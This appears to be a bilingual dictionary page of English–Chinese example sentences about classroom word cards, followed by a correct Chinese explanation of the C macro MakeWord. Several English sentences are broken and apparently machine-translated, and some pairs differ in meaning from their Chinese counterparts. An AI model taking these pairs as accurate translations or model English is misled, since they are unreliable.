【makeword

Take out your word card , please .拿出单词卡片。

The teacher flashed up each word card to see if the children would recognize it.老师举起一张张单词卡片，看学生是否可以辨识。

Mother put some ＂cat＂ word card posted in the house, and then take a everywhere ＂cat＂ word card, please help it find baby friend (let the baby took off in the word CARDS everywhere stick).妈妈把一些“小花猫”字卡贴在屋内各处，然后再拿一张“小花猫”字卡，请宝宝帮它找朋友（让宝宝摘下贴在各处的字卡）。

Please buy the disk and word card from the book store.请还没有购买光碟和卡片的家长尽快购买。

Each teacher throws the dice in turn. You can take a piece of English word card of 4 or 6 level according to you ability if you throw the dice with 2 or 4 or 6.每位教师轮流掷，掷到2 4 6 可以根据自己的情况从四级或六级单词卡片的箱子里抽取一张卡片并且大声读出来。

T say the story and get Ss show the word card when they hear it.故事是学生喜闻乐见的，听一听出示单词，训练并检查了学生的听力。

Review the sounds Teacher makes a sound of a letter and shows a word card. If the word including the sound, students clap and read the word. Or not students just stomp.通过拍手、跺脚的身体运动，来复习字母和其发音，既测试学生反应速度，又从一开始就调动学生的积极性。

Clothing brand has become one occupational characteristics, quality of life, a status symbol, as the modern ＂free word business card.＂服装的品牌已然成为人们职业特点、生活品位、身份地位的象征，成为现代人的“无字名片”。

Put one English word on each card, and then put either the translation or the English definition on the back.After you study the words, review them quickly to see how many words you remember.在每个卡片上写下一个单词，背面写上中文或者英文注释。

学习了单词后，快速复习一遍来检查你记住了多少个？

#define MakeWord(a,b) ((WORD) (((BYTE) (a)) | ((WORD) ((BYTE) (b))) ...

＂|＂ 是按位或运算符，对整型数进行二进制按位取或运算。

比如0110 0011| 0011 0101--------------------= 0111 0111定义MakeWord(a, b) 的含义应该是将a b合成一个字（双字节），比如 MakeWord(0xaa, 0xbb) 结果应该是0xbbaa,a在低字节，转换成BYTE只留下一字节的内容，b也留下一字节并左移做高字节，通过按位或运算符将两者合并到一起。
